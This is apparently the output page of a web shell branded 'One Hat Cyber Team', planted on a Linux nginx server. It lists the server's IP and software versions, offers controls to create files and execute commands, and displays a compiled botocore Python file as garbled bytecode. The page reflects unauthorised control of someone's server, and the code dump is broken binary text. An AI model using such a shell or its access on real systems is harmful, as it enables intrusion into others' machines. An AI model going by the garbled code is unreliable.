⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.144
Server IP:
157.245.143.252
Server:
Linux www 6.11.0-9-generic #9-Ubuntu SMP PREEMPT_DYNAMIC Mon Oct 14 13:19:59 UTC 2024 x86_64
Server Software:
nginx/1.26.0
PHP Version:
8.3.11
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
lib
/
python3
/
dist-packages
/
botocore
/
__pycache__
/
View File Name :
model.cpython-312.pyc
Pew d Z ddlmZ ddlmZmZ ddlmZ ddlm Z m Z ddlmZm Z mZ e Z G d de Z G d d e Z G d de Z G d de Z G d de Z G d d Z G d de Z G d de Z G d de Z G d de Z G d de Z G d de Z G d d e Z G d! d" Z G d# d$ Z! G d% d& Z" G d' d( Z# G d) d* Z$ G d+ d, Z%y-).z-Abstractions to interact with service models. )defaultdict) NamedTupleUnion)OrderedDict)MissingServiceIdErrorUndefinedModelAttributeError)CachedPropertyhyphenize_service_idinstance_cachec e Zd Zy)NoShapeFoundErrorN__name__ __module____qualname__ 0/usr/lib/python3/dist-packages/botocore/model.pyr r r r c e Zd Zy)InvalidShapeErrorNr r r r r r r r r c e Zd Zy)OperationNotFoundErrorNr r r r r r # r r r c e Zd Zy)InvalidShapeReferenceErrorNr r r r r r ' r r r c e Zd Zd Zy) ServiceIdc t | S N)r selfs r hyphenizezServiceId.hyphenize, s #D))r N)r r r r" r r r r r + s *r r c x e Zd ZdZg dZg dZeZddZe d Z e d Ze d Zd Z d Zed Zy) Shapez3Object representing a shape from the service model.)locationName queryName flattenedlocationpayload streamingtimestampFormatxmlNamespace resultWrapperxmlAttributeeventstreameventeventheadereventpayload jsonvaluer+ hostLabel)requiredminmaxpattern sensitiveenumidempotencyTokenerror exceptionendpointdiscoveryid retryabledocumentunioncontextParamclientContextParamsrequiresLengthNc || _ |d | _ |j dd | _ || _ | t }|| _ i | _ y)a :type shape_name: string :param shape_name: The name of the shape. :type shape_model: dict :param shape_model: The shape model. This would be the value associated with the key in the "shapes" dict of the service model (i.e ``model['shapes'][shape_name]``) :type shape_resolver: botocore.model.ShapeResolver :param shape_resolver: A shape resolver object. This is used to resolve references to other shapes. For scalar shape types (string, integer, boolean, etc.), this argument is not required. If a shape_resolver is not provided for a complex type, then a ``ValueError`` will be raised when an attempt to resolve a shape is made. type documentation N)name type_namegetrG _shape_modelUnresolvableShapeMap_shape_resolver_cache)r! shape_nameshape_modelshape_resolvers r __init__zShape.__init__^ sQ ( $V,(___bA'! 23N-r c | j }i }| j D ] }|| j v s|| ||<